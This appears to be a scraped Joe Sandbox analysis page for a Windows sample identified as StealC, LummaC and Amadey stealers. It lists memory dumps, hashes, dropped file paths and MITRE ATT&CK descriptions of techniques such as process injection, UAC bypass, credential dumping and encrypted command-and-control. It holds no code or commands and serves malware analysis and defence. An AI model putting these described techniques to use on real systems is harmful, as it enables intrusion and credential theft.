Associated: 00000006.00000002.1780294474.00000000005E6000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780337753.00000000005E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780415583.00000000005EA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780618221.00000000005EB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780652676.00000000005F9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780714891.00000000005FA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1781452119.0000000000601000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1781570644.0000000000602000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1781597992.0000000000603000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1781622097.0000000000608000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1781674706.000000000060F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1781698485.0000000000611000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1781748026.0000000000612000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1781776991.0000000000615000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1781835127.0000000000616000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1781868461.0000000000618000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1781927887.0000000000620000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1781961226.0000000000622000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782023554.0000000000623000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782050226.0000000000626000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782086399.000000000062F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782143423.0000000000630000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782167154.0000000000631000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782225963.0000000000639000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782265791.0000000000640000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782343899.0000000000644000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782510699.0000000000657000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782540951.0000000000659000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782594016.000000000069A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782674008.000000000069B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782737959.000000000069C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782737959.00000000006A3000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782853652.00000000006B2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782878572.00000000006B4000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_410000_3BW8PCDTI0L77ZRRJ1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48ff536a72acc68ef6e11eb20ad1731d6ebbd1ebf91c110ab07baba542555c37
Instruction ID: bc453763db598ff8fae9d61972d58757203f7825e65890bbdd9e9b63a7d809d3
Opcode Fuzzy Hash: 48ff536a72acc68ef6e11eb20ad1731d6ebbd1ebf91c110ab07baba542555c37
Instruction Fuzzy Hash: 81519EB3F116204BF3444E69CC983227393EBD5314F2F81788A496B7CAD97E6D4A9784

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\3BW8PCDTI0L77ZRRJ1.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\num[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe

C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe

C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe

Windows Analysis Report
file.exe

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre